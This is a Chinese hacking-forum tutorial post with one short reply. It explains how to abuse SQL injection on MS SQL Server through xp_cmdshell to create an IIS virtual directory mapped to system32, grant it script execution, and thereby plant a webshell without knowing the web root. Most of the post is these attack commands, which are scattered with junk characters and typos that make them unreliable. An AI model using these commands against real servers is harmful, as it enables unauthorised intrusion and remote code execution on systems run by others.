[原创教程] 如何SQL注入建立虚拟目录 SQL, 目录, 虚拟

平湖秋月

很多情况下我们都会遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，应该算是无意中发现了一招，感觉不错 整理下发上来给大家分享：2 l9 p2 x% }  k5 R9 i! t
' b3 p" m# A5 c" q! W
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'
# M+ o% G) x4 F$ |/ y4 e建立虚拟目录win,指向c:\windows\system32% Y8 {5 V) f: u7 Q3 T
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
: m8 D' e0 B" k/ w5 O. f6 \让win句有解析asp脚本权限# O/ I- b& K9 P3 L9 c9 j

1 P9 D4 d( T5 X3 ^. jexec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"- @/ l  k& P0 q% u* C
删除虚拟目录。5 O" J9 ~8 Q2 Q  V
找不到web绝对路径的一种解决办法，
4 o$ \1 R+ Y- J  m+ Y. V- Y3 Y% [" k2 B' g8 @, C- f& f8 q
403错误，表示虚拟目录建好了。。

wmmy

呀  LZ好久不见你上了啊